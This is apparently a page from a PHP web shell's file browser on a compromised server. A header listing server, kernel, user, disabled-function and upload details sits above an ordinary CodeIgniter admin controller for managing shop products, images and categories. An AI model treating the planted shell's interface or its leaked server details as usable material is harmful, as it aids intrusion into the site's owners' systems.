https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/controllers/admin/Products.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Products extends Admin_Controller {

	//this property is used for validating existing category title on call back edit category
	private $product_current_id;

	private $image1_filename = NULL;
	private $image2_filename = NULL;
	private $image3_filename = NULL;
	private $image4_filename = NULL;
	private $image5_filename = NULL;

	function __construct() { 
		parent::__construct();	
		$this->load->model('product_m');  
		$this->load->model('category_m'); 
		$this->load->model('brand_m'); 
		$this->load->model('size_m');  
		$this->load->library('image_lib');
		$this->load->helper('form');
	}
		
	//this is to list all products
	public function index() { 

		/*----FILTER SEARCH PRODUCT--*/
		if(isset($_POST['search_product'])) { 

			//get product name from form
			$this->data['keyword'] = $this->security->xss_clean($this->input->post('product'));
			$this->data['products'] = $this->product_m->get_all_products_search_product($this->data['keyword']); 

		} else {

			//pagination in action. 100 results per page
			$this->load->library('pagination');
			$config = array();
			$this->load->helper('pagination_helper');
			$config = pagination_format(); //function from helper file
			$config['base_url'] = base_url() . 'admin/products/index/';
			$config['per_page'] = 100;
			$config['uri_segment'] = 4; 
			$config['total_rows'] = $this->product_m->record_count(); 
			$this->pagination->initialize($config);
			$this->data['products'] = $this->product_m->get_all_products($config['per_page'],$this->uri->segment($config['uri_segment']));  
			$this->data['use_pagination'] = 'yes'; 
		}

		//get website product ordering
		$this->db->select('website_product_ordering')->from('configuration')->where('id_configuration', 1);
		$this->data['website_product_ordering'] = $this->db->get()->row()->website_product_ordering;

		//load view
		$this->data['subview'] = 'admin/products/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer'); 	
    }

	
	//to ADD a new product 
	public function add() {
		
		$this->data['products'] = $this->product_m->get_new(); 	
		$this->data['parent_categories'] = $this->category_m->get_parent_categories();   
		$this->data['brands'] = $this->brand_m->get_brands();   
		$this->data['sizes'] = $this->size_m->get_product_size(); 
		$this->data['new_product'] = TRUE; //this is to hide quantity discount on edit view.

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('products');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['products']->priority = 1;	
		} else {
			$this->data['products']->priority = $current_priority + 1;
		}

		//validation in action 
		//validation check in action
		$config = $this->product_m->rules; 
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled  
		$this->form_validation->set_rules($config);  

		if($this->form_validation->run($this) == TRUE) {   

			//check if SKU already exist
			foreach($this->input->post('sku') as $sku) {

				$this->db->select('sku')->from('product_details')->where('sku', $sku);
				$count_sku = $this->db->get()->num_rows();

				if($count_sku > 0) {
					//means sku already exist...must exit with error notification
					$this->session->set_flashdata('sku_error', "<br><p style='background:red; color:white; padding:5px; font-weight:bold;'>SKU {$sku} already exist. Please use unique SKU</p>");
					redirect('admin/products/add');
				}	

			}

			//Get product image dimensions from configuration table
			$this->db->select('product_image_width, product_image_height, product_image_large_width, product_image_large_height, product_image_small_width, product_image_small_height, product_image_thumbnail_width, product_image_thumbnail_height')->from('configuration')->where('id_configuration', 1);
			$image_dimension = $this->db->get()->row();

			//check & processing IMAGE 1	
			if ($_FILES['image1']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/product/'; 
				$config['allowed_types'] = 'jpg|png'; 
				$config['max_size']	= '500';
				$config['max_width']  = $image_dimension->product_image_width;
				$config['max_height']  = $image_dimension->product_image_height;  

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('image1')) {

				$this->session->set_flashdata('image1-error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
					//echo $this->upload->display_errors(); exit();
				redirect('admin/products/add');
				
				} else {
					$image1 = $this->upload->data();
					$this->image1_filename = $image1['file_name']; 
					$this->resize_image($image1['file_name']);
				}
			}

			//check & processing IMAGE 2	
			if ($_FILES['image2']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/product/'; 
				$config['allowed_types'] = 'jpg|png'; 
				$config['max_size']	= '500';
				$config['max_width']  = $image_dimension->product_image_width;
				$config['max_height']  = $image_dimension->product_image_height;  

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('image2')) {

				$this->session->set_flashdata('image2-error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
				redirect('admin/products/add');
				
				} else {
					$image2 = $this->upload->data();
					$this->image2_filename = $image2['file_name']; 
					$this->resize_image($image2['file_name']);	  
				}
			}

			//check & processing IMAGE 3	
			if ($_FILES['image3']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/product/'; 
				$config['allowed_types'] = 'jpg|png'; 
				$config['max_size']	= '500';
				$config['max_width']  = $image_dimension->product_image_width;
				$config['max_height']  = $image_dimension->product_image_height;  

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('image3')) {

				$this->session->set_flashdata('image3-error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
				redirect('admin/products/add');
				
				} else {
					$image3 = $this->upload->data();
					$this->image3_filename = $image3['file_name']; 	
					$this->resize_image($image3['file_name']);  
				}
			}

			//check & processing IMAGE 4	
			if ($_FILES['image4']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/product/'; 
				$config['allowed_types'] = 'jpg|png'; 
				$config['max_size']	= '500';
				$config['max_width']  = $image_dimension->product_image_width;
				$config['max_height']  = $image_dimension->product_image_height;  

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('image4')) {

				$this->session->set_flashdata('image4-error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
				redirect('admin/products/add');
				
				} else {

					$image4 = $this->upload->data();
					$this->image4_filename = $image4['file_name']; 	
					$this->resize_image($image4['file_name']);  
				}
			}

			//check & processing IMAGE 5
			if ($_FILES['image5']['size'] !== 0) { 	

				$config['upload_path'] = './uploads/product/'; 
				$config['allowed_types'] = 'jpg|png'; 
				$config['max_size']	= '500';
				$config['max_width']  = $image_dimension->product_image_width;
				$config['max_height']  = $image_dimension->product_image_height;  

				$this->load->library('upload', $config); 
				$this->upload->initialize($config); 

				if ( ! $this->upload->do_upload('image5')) {

				$this->session->set_flashdata('image5-error', '<br>
					<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
				redirect('admin/products/add');
				
				} else {
					$image5 = $this->upload->data();
					$this->image5_filename = $image5['file_name']; 	
					$this->resize_image($image5['file_name']);  
				}
			}

			$data = $this->table_data_processing(
				$this->input->post('product_name'), 
				$this->input->post('brand_id'), 
				$this->input->post('description'), 
				$this->input->post('description_en'), 
				$this->input->post('long_description'),
				$this->input->post('long_description_en'),
				$this->input->post('additional_information'),
				$this->input->post('additional_information_en'),
				$this->input->post('product_status'),
				$this->input->post('new_arrival'),
				$this->input->post('popular_product'),
				$this->input->post('best_seller'),
				$this->image1_filename,
				$this->image2_filename,
				$this->image3_filename,
				$this->image4_filename,
				$this->image5_filename,
				$this->input->post('meta_description'),
				$this->input->post('meta_keywords'),
				$this->input->post('color_code')
			);

			$product_id = (int) $this->product_m->add_product($data);     

			//get category_id from view, then insert together with product_id to category_product table
			$categories_id = $this->input->post('category_id');

			//check id there is content inside category array
			$categories_id_count = count($categories_id);

			if ($categories_id_count > 0) {

				//add to category_product table
				$categories_keywords = '';
				
				foreach ($categories_id as $category_id) {
				
					$data = array(
					   'id_product' => $product_id,
					   'id_category' => $category_id,
					);

					$this->db->insert('category_product', $data); 

					//add to products table, categories column
					$this->db->select('category')->from('categories')->where('id_categories', $category_id);

					//append all categories keywords to this variable
					$categories_keywords .= $this->db->get()->row()->category . ',';
				}

				$data = array(
					'categories' => $categories_keywords,
				);

				$this->db->where('id_products', $product_id);
				$this->db->update('products', $data); 

			} else {

				$data = array(
					   'id_product' => $product_id,
					   'id_category' => NULL,
				);

				$this->db->insert('category_product', $data); 
			}

			//UPDATE STOCK & SKU IN PRODUCT DETAILS TABLE
			$sku_array = $this->input->post('sku'); 
			$price_array = $this->input->post('price'); 
			$discounted_price_array = $this->input->post('discounted_price'); 
			$weight_array = $this->input->post('weight'); 
			$stock_array = $this->input->post('stock'); 

			$count_stock = count($stock_array);		

			//we fill in the data in
			for($i = 0; $i < 1; $i++ ) { 

				if (!empty($stock_array[$i])) {
					
					$data = array(
					   'product_id' => $product_id,
					   'sku' => $sku_array[$i],
					   'price' => $price_array[$i],
					   'stock' => $stock_array[$i],
					   'weight' => $weight_array[$i],
					   'discounted_price' => $discounted_price_array[$i]
					);
				    $this->db->insert('product_details', $data);
					$product_details_id = $this->db->insert_id(); 

					//input all attributes id into product_detail_options table
					$attributes_array = $_POST["select{$i}"]; //get the attributes id from form

					foreach($attributes_array as $attribute_id) {

						if(empty($attribute_id)) {
							$attribute_id = NULL; 
							$product_size_id = NULL;
						} else {
							//get product size id
							$this->db->select('id_product_size')->from('product_attributes')->where('id_product_attributes', $attribute_id);
							$product_size_id = $this->db->get()->row()->id_product_size;
						}	

						$data = array(
							'product_details_id' => $product_details_id,
							'product_attributes_id' => 	$attribute_id,
							'product_id' => $product_id,	
							'product_size_id' => $product_size_id
						);
						$this->db->insert('product_detail_options', $data);

					}

				}	
			}
			
			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Added Successful</p>');
			redirect('admin/products');
			
		} 
		
		$this->data['subview'] = 'admin/products/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer'); 	
	}
	
	//to EDIT product in admin
	public function edit($id) {

		$this->db->select('id_products')->from('products')->where('id_products', $id);
		$count_product = $this->db->get()->num_rows();
		if($count_product === 0) {show_404();}
	
		$this->data['products'] = $this->product_m->get($id);  
		$this->data['parent_categories'] = $this->category_m->get_parent_categories(); 
		
		//get all chosen (active) categories
		$this->db->select('*')->from('category_product')->where('id_product', $id);
		$this->data['chosen_categories'] = $this->db->get()->result();

		//get all brands
		$this->data['brands'] = $this->brand_m->get_brands(); 

		//assign to properties, used for custom callback validation
		$this->product_current_id = (int) $this->data['products']->id_products;
		
		//get current brand id
		$this->db->select('brand_id')->from('products')->where('id_products', (int) $id);
		$products = $this->db->get()->row();
		$this->data['brand_id'] = $products->brand_id;
		
		//validation check in action
		$config = $this->product_m->rules;
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {

				//check if SKU already exist at other products
				foreach($this->input->post('sku') as $sku) {

					$this->db->select('sku')->from('product_details')->where('sku', $sku)->where('product_id !=', $id);
					$count_sku = $this->db->get()->num_rows();

					if($count_sku > 0) {
						
						//means sku already exist...must exit with error notification
						$this->session->set_flashdata('sku_error', "<br><p style='background:red; color:white; padding:5px; font-weight:bold;'>SKU {$sku} already exist. Please use unique SKU</p>");
						redirect('admin/products/edit/' . $id);

					}	

				} 

				//Get product image dimensions from configuration table
				$this->db->select('product_image_width, product_image_height, product_image_large_width, product_image_large_height, product_image_small_width, product_image_small_height, product_image_thumbnail_width, product_image_thumbnail_height')->from('configuration')->where('id_configuration', 1);
				$image_dimension = $this->db->get()->row();

				//check & processing IMAGE 1	
				if ($_FILES['image1']['size'] !== 0) { 	

					$config['upload_path'] = './uploads/product/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '500';
					$config['max_width']  = $image_dimension->product_image_width;
					$config['max_height']  = $image_dimension->product_image_height;  

					$this->load->library('upload', $config); 
					$this->upload->initialize($config); 

					if ( ! $this->upload->do_upload('image1')) {

						$this->session->set_flashdata('image1-error', '<br>
						<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/products/edit/' . $id);
					
					} else {
						$image1 = $this->upload->data();
						$this->image1_filename = $image1['file_name']; 	 
						$this->resize_image($image1['file_name']);
					}
				}

				//check & processing IMAGE 2	
				if ($_FILES['image2']['size'] !== 0) { 	

					$config['upload_path'] = './uploads/product/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '500';
					$config['max_width']  = $image_dimension->product_image_width;
					$config['max_height']  = $image_dimension->product_image_height;  

					$this->load->library('upload', $config); 
					$this->upload->initialize($config); 

					if ( ! $this->upload->do_upload('image2')) {

						$this->session->set_flashdata('image2-error', '<br>
						<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/products/edit/' . $id);
					
					} else {
						$image2 = $this->upload->data();
						$this->image2_filename = $image2['file_name']; 	  
						$this->resize_image($image2['file_name']);
					}
				}

				//check & processing IMAGE 3	
				if ($_FILES['image3']['size'] !== 0) { 	

					$config['upload_path'] = './uploads/product/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '500';
					$config['max_width']  = $image_dimension->product_image_width;
					$config['max_height']  = $image_dimension->product_image_height;

					$this->load->library('upload', $config); 
					$this->upload->initialize($config); 

					if ( ! $this->upload->do_upload('image3')) {

						$this->session->set_flashdata('image3-error', '<br>
						<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/products/edit/' . $id);
					
					} else {
						$image3 = $this->upload->data();
						$this->image3_filename = $image3['file_name']; 	  
						$this->resize_image($image3['file_name']);
					}
				}

				//check & processing IMAGE 4	
				if ($_FILES['image4']['size'] !== 0) { 	

					$config['upload_path'] = './uploads/product/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '500';
					$config['max_width']  = $image_dimension->product_image_width;
					$config['max_height']  = $image_dimension->product_image_height; 

					$this->load->library('upload', $config); 
					$this->upload->initialize($config); 

					if ( ! $this->upload->do_upload('image4')) {

						$this->session->set_flashdata('image4-error', '<br>
						<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/products/edit/' . $id);
					
					} else {
						$image4 = $this->upload->data();
						$this->image4_filename = $image4['file_name']; 	 
						$this->resize_image($image4['file_name']); 
					}
				}

				//check & processing IMAGE 5
				if ($_FILES['image5']['size'] !== 0) { 	

					$config['upload_path'] = './uploads/product/'; 
					$config['allowed_types'] = 'jpg'; 
					$config['max_size']	= '500';
					$config['max_width']  = $image_dimension->product_image_width;
					$config['max_height']  = $image_dimension->product_image_height;

					$this->load->library('upload', $config); 
					$this->upload->initialize($config); 

					if ( ! $this->upload->do_upload('image5')) {

						$this->session->set_flashdata('image5-error', '<br>
						<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
						redirect('admin/products/edit/' . $id);
					
					} else {
						$image5 = $this->upload->data();
						$this->image5_filename = $image5['file_name']; 	 
						$this->resize_image($image5['file_name']); 
					}
				}

				$data = $this->table_data_processing(
					$this->input->post('product_name'),  
					$this->input->post('brand_id'), 
					$this->input->post('description'), 
					$this->input->post('description_en'),
					$this->input->post('long_description'),
					$this->input->post('long_description_en'),
					$this->input->post('additional_information'),
					$this->input->post('additional_information_en'),
					$this->input->post('product_status'),
					$this->input->post('new_arrival'),
					$this->input->post('popular_product'),
					$this->input->post('best_seller'),
					$this->image1_filename,
					$this->image2_filename,
					$this->image3_filename,
					$this->image4_filename,
					$this->image5_filename,
					$this->input->post('meta_description'),
					$this->input->post('meta_keywords'),
					$this->input->post('color_code')
				);

			$this->product_m->edit_product($id, $data); 

			//get category_id from view, then insert together with product_id to category_product table
			$categories_id = $this->input->post('category_id');  

			//check id there is content inside category array
			$categories_id_count = count($categories_id);

			if ($categories_id_count > 0) {

				//firstly, we delete all existing category records inside category_product table
				$this->db->where('id_product', $id);
				$this->db->delete('category_product');

				//secondly, we insert new category_id
				$categories_keywords = '';
				foreach ($categories_id as $category_id) {
				
					$data = array(
					   'id_product' => $id,
					   'id_category' => $category_id,
					);

					$this->db->insert('category_product', $data); 

					//add to products table, categories column
					$this->db->select('category')->from('categories')->where('id_categories', $category_id);

					//append all categories keywords to this variable
					$categories_keywords .= $this->db->get()->row()->category . ',';
				}

				$data = array(
					'categories' => $categories_keywords,
				);

				$this->db->where('id_products', $id);
				$this->db->update('products', $data); 	

			} else {

				//no category is checked at edit page

				//firstly, we delete all existing category records inside category_product table
				$this->db->where('id_product', $id);
				$this->db->delete('category_product');

				//secondly, we insert new category_id of NULL
				$data = array(
					   'id_product' => $id,
					   'id_category' => NULL,
				);

				$this->db->insert('category_product', $data); 
			}

			//UPDATE STOCK & SKU
			$sku_array = $this->input->post('sku'); 
			$price_array = $this->input->post('price'); 
			$discounted_price_array = $this->input->post('discounted_price'); 
			$weight_array = $this->input->post('weight'); 
			$stock_array = $this->input->post('stock'); 

			$count_stock = count($stock_array);		
			
			for($i = 0; $i < 1; $i++ ) { 

				if ($price_array[$i] != '' && $sku_array[$i] != '' && count($_POST["select{$i}"]) > 0 && $weight_array[$i] != '') {
					
					$attributes_array = $_POST["select{$i}"];

					//check if sku with current product id already exist in table. If already exist, then update, else, insert new
					$this->db->select('sku')->from('product_details')->where('sku', $sku_array[$i])->where('product_id', $id);
					$count_sku = $this->db->get()->num_rows();

					if($count_sku > 0) {

						//update
						$data = array(
							'price' => $price_array[$i],
							'stock' => $stock_array[$i],
							'weight' => $weight_array[$i],
							'discounted_price' => $discounted_price_array[$i]
						);
						$this->db->where('sku', $sku_array[$i]);
						$this->db->where('product_id', $id);
						$this->db->update('product_details', $data); 

						//we delete all existing records inside product_detail_options table
						//get products detail id based on sku, product id
						$this->db->select('id_product_details')->from('product_details')->where('sku', $sku_array[$i])->where('product_id', $id);
						$product_details_id = $this->db->get()->row()->id_product_details;

					} else {

						//insert
						$data = array(
							'product_id' => $id,
							'sku' => $sku_array[$i],
							'price' => $price_array[$i],
							'stock' => $stock_array[$i],
							'weight' => $weight_array[$i],
							'discounted_price' => $discounted_price_array[$i]
						);
						$this->db->insert('product_details', $data); 
						$product_details_id = $this->db->insert_id(); //get the last inserted id

					}

					//delete them
					$this->db->where('product_details_id', $product_details_id);
					$this->db->delete('product_detail_options');

					//then input all new attributes id into product_detail_options table
					$attributes_array = $_POST["select{$i}"]; //get the attributes id from form

					foreach($attributes_array as $attribute_id) {

						if(empty($attribute_id)) {
							$attribute_id = NULL; 
							$product_size_id = NULL;
						} else {
							//get product size id
							$this->db->select('id_product_size')->from('product_attributes')->where('id_product_attributes', $attribute_id);
							$product_size_id = $this->db->get()->row()->id_product_size;
						}	

						$data = array(
							'product_details_id' => $product_details_id,
							'product_attributes_id' => 	$attribute_id,
							'product_id' => $id,	
							'product_size_id' => $product_size_id
						);
						$this->db->insert('product_detail_options', $data);	

					}
				}	
			}

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Edit Successful</p>');
			redirect('admin/products/edit/' . $id);
			
		}  
		
		$this->data['subview'] = 'admin/products/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer'); 	
	}


	//to delete a product
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->product_m->count_exist($id);
		
		if ($count == 0) {  
			//page not exist 
			show_404();
		}	

		//delete image from server

		for ($i = 1; $i <= 5; $i++) { 

			//check if there is an existing image on product table
			$this->db->select("image$i")->from('products')->where('id_products', (int) $id);
			$image = $this->db->get()->row_array(); //use array insted of object
			
			if ($image["image$i"] != '' || $image["image$i"] != NULL) {
				
				//Delete the actual image file from server. FCPATH is codeigniter base path
				
				if (file_exists(base_url() . 'uploads/product/' . $image["image$i"])) {
					unlink(FCPATH .'/uploads/product/'. $image["image$i"]);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image["image$i"])) {
					unlink(FCPATH .'/uploads/product/large/'. $image["image$i"]);
				}

				if (file_exists(base_url() . 'uploads/product/small/' . $image["image$i"])) {
					unlink(FCPATH .'/uploads/product/small/'. $image["image$i"]);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image["image$i"])) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image["image$i"]);
				}
			}		
		}

		$this->product_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Deleted Successful</p>');
		redirect('admin/products');
	}

	//to delete a product
	public function delete_product_detail($id_product, $id_product_detail) {

		//check if id_product_detail exist. If not exist, show 404.
		$this->db->select('id_product_details')->from('product_details')->where('id_product_details', $id_product_detail);
		$count_product_detail = $this->db->get()->num_rows();
		if ($count_product_detail == 0) { show_404(); }	

		//check if id_product. If not exist, show 404.
		$this->db->select('id_products')->from('products')->where('id_products', $id_product);
		$count_product = $this->db->get()->num_rows();
		if ($count_product == 0) { show_404(); }	

		$this->db->where('id_product_details', $id_product_detail);
		$this->db->delete('product_details');
		
		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Product Detail Deleted Successfully</p>');
		redirect('admin/products/edit/' . $id_product);
	}


	//callback function validation add new product
	public function _cek_existing_product_title($str) {

		$num_rows = $this->product_m->cek_existing_product_title($str, $this->product_current_id);   

		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_product_title', 'Product name already exist !');
			return FALSE;
		} else {
			return TRUE; 
		}
	}

	//NOT USED CURRENTLY ! callback function validation add new product check SKU
	public function _cek_existing_sku($str) {

		//check if the code is already exist in products detail table..
		$this->db->select('sku')->from('product_details')->where('sku', $str);
		$count_code_productstable = $this->db->get()->num_rows();

		//check if the code is already exist in stocks table..
		$this->db->select('sku')->from('stocks')->where('sku', $str);
		$count_code_stockstable = $this->db->get()->num_rows();

		if ($count_code_productstable != 0 || $count_code_stockstable != 0) { 
			
			$this->form_validation->set_message('_cek_existing_product_code', 'Product Code (SKU) already exist !');
			return FALSE;
		} else {
			return TRUE; 
		}
	}

	
	private function table_data_processing($product_name, $brand_id, $description, $description_en, $long_description, $long_description_en ,$additional_information, $additional_information_en, $product_status, $new_arrival, $popular_product, $best_seller,$image1_filename, $image2_filename, $image3_filename, $image4_filename, $image5_filename, $meta_description, $meta_keywords, $color_code) {

		$data = array(
			'title' => $this->security->xss_clean($product_name), 
			'alias' => url_title($this->security->xss_clean($product_name)),
			'brand_id' => (int) $brand_id,
			'description' => $this->security->xss_clean($description),
			'description_en' => $this->security->xss_clean($description_en),
			'long_description' => $this->security->xss_clean($long_description),
			'long_description_en' => $this->security->xss_clean($long_description_en),
			'additional_information' => $this->security->xss_clean($additional_information),
			'additional_information_en' => $this->security->xss_clean($additional_information_en),
			'product_status' => $product_status,
			'new_arrival' => $new_arrival,	
			'popular_product' => $popular_product,
			'best_seller' => $best_seller,
			'meta_description' => $this->security->xss_clean($meta_description),
			'meta_keywords' => $this->security->xss_clean($meta_keywords),
			'color_code' => $color_code,
			'priority' => $this->input->post('priority')
		);

		if($this->input->post('quantity_discount_active')) {
			$data['quantity_discount_active'] = $this->input->post('quantity_discount_active');
		}

		//image upload
		if (isset($image1_filename)) {
			$data['image1'] = $image1_filename; 
		} 

		if (isset($image2_filename)) {
			$data['image2'] = $image2_filename;
		} 

		if (isset($image3_filename)) {
			$data['image3'] = $image3_filename;
		} 

		if (isset($image4_filename)) {
			$data['image4'] = $image4_filename;
		} 

		if (isset($image5_filename)) {
			$data['image5'] = $image5_filename;
		} 

		return $data;
	}


	//To delete product image file from server, and from database
	public function delete_image($id = NULL, $image_name) { 

		$count = $this->product_m->count_exist($id); 

		if ($id == NULL || $image_name == NULL || $count == 0) {	
			redirect('admin/brands');
		}

		//get image file name for deletion
		$this->db->select($image_name)->from('products')->where('id_products', (int) $id);
		$image = $this->db->get()->row();

		switch ($image_name) {

			case 'image1':
				//Delete the actual image file from server. FCPATH is codeigniter base path
				
				if (file_exists(base_url() . 'uploads/product/' . $image->image1)) {
					unlink(FCPATH .'/uploads/product/'. $image->image1);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image->image1)) {
					unlink(FCPATH .'/uploads/product/large/'. $image->image1);
				}	

				if (file_exists(base_url() . 'uploads/product/small/' . $image->image1)) {
					unlink(FCPATH .'/uploads/product/small/'. $image->image1);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image->image1)) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image->image1);
				}

				//Delete image field from database
				$data = array( 
					'image1' => NULL,
				);
				break;

			case 'image2':
				//Delete the actual image file from server. FCPATH is codeigniter base path
				if (file_exists(base_url() . 'uploads/product/' . $image->image2)) {
					unlink(FCPATH .'/uploads/product/'. $image->image2);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image->image2)) {
					unlink(FCPATH .'/uploads/product/large/'. $image->image2);
				}	

				if (file_exists(base_url() . 'uploads/product/small/' . $image->image2)) {
					unlink(FCPATH .'/uploads/product/small/'. $image->image2);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image->image2)) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image->image2);
				}

				//Delete image field from database
				$data = array( 
					'image2' => NULL,
				);
				break;	

			case 'image3':
				//Delete the actual image file from server. FCPATH is codeigniter base path
				if (file_exists(base_url() . 'uploads/product/' . $image->image3)) {
					unlink(FCPATH .'/uploads/product/'. $image->image3);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image->image3)) {
					unlink(FCPATH .'/uploads/product/large/'. $image->image3);
				}	

				if (file_exists(base_url() . 'uploads/product/small/' . $image->image3)) {
					unlink(FCPATH .'/uploads/product/small/'. $image->image3);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image->image3)) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image->image3);
				}

				//Delete image field from database
				$data = array( 
					'image3' => NULL,
				);
				break;	

			case 'image4':
				//Delete the actual image file from server. FCPATH is codeigniter base path
				if (file_exists(base_url() . 'uploads/product/' . $image->image4)) {
					unlink(FCPATH .'/uploads/product/'. $image->image4);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image->image4)) {
					unlink(FCPATH .'/uploads/product/large/'. $image->image4);
				}	

				if (file_exists(base_url() . 'uploads/product/small/' . $image->image4)) {
					unlink(FCPATH .'/uploads/product/small/'. $image->image4);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image->image4)) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image->image4);
				}

				//Delete image field from database
				$data = array( 
					'image4' => NULL, 
				);
				break;	

			case 'image5':
				//Delete the actual image file from server. FCPATH is codeigniter base path
				if (file_exists(base_url() . 'uploads/product/' . $image->image5)) {
					unlink(FCPATH .'/uploads/product/'. $image->image5);
				}

				if (file_exists(base_url() . 'uploads/product/large/' . $image->image5)) {
					unlink(FCPATH .'/uploads/product/large/'. $image->image5);
				}	

				if (file_exists(base_url() . 'uploads/product/small/' . $image->image5)) {
					unlink(FCPATH .'/uploads/product/small/'. $image->image5);
				}

				if (file_exists(base_url() . 'uploads/product/thumbnail/' . $image->image5)) {
					unlink(FCPATH .'/uploads/product/thumbnail/'. $image->image5);
				}

				//Delete image field from database
				$data = array( 
					'image5' => NULL,
				);
				break;	
		}

		$this->db->where('id_products', (int) $id);
		$this->db->update('products', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
		
		redirect('admin/products/edit/' . $id); 
	}

	public function search_brand() {

		if(!isset($_POST['search_brand'])) {
			show_404();
		}

		//get product name from form
		$this->data['brand_id'] = $this->input->post('brand', TRUE);

		if ($this->data['brand_id'] != '') {
			//get all brands which only consist this brand_id
			$this->db->select('*')->from('products')->where('brand_id', (int) $this->data['brand_id']);
			$this->db->order_by('title', 'ASC');
			$this->data['products'] = $this->db->get()->result(); 
		
		} else {
			//get all brands
			$this->db->select('*')->from('products');
			$this->db->order_by('priority', 'ASC');
			$this->data['products'] = $this->db->get()->result(); 
		}

		//load view
		$this->data['subview'] = 'admin/products/index'; 
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer'); 
	}

	public function search_category() {

		if(!isset($_POST['search_category'])) {
			show_404();
		}

		//get product name from form
		$this->data['category_id'] = $this->input->post('category', TRUE);

		if ($this->data['category_id'] == '') {

			$this->db->select('*')->from('products')->order_by('priority', 'ASC');
			$this->data['products'] = $this->db->get()->result(); 

			//load view
			$this->data['subview'] = 'admin/products/index'; 
			$this->load->view('admin/templates/header', $this->data_header); 
			$this->load->view('admin/_layout_main', $this->data);
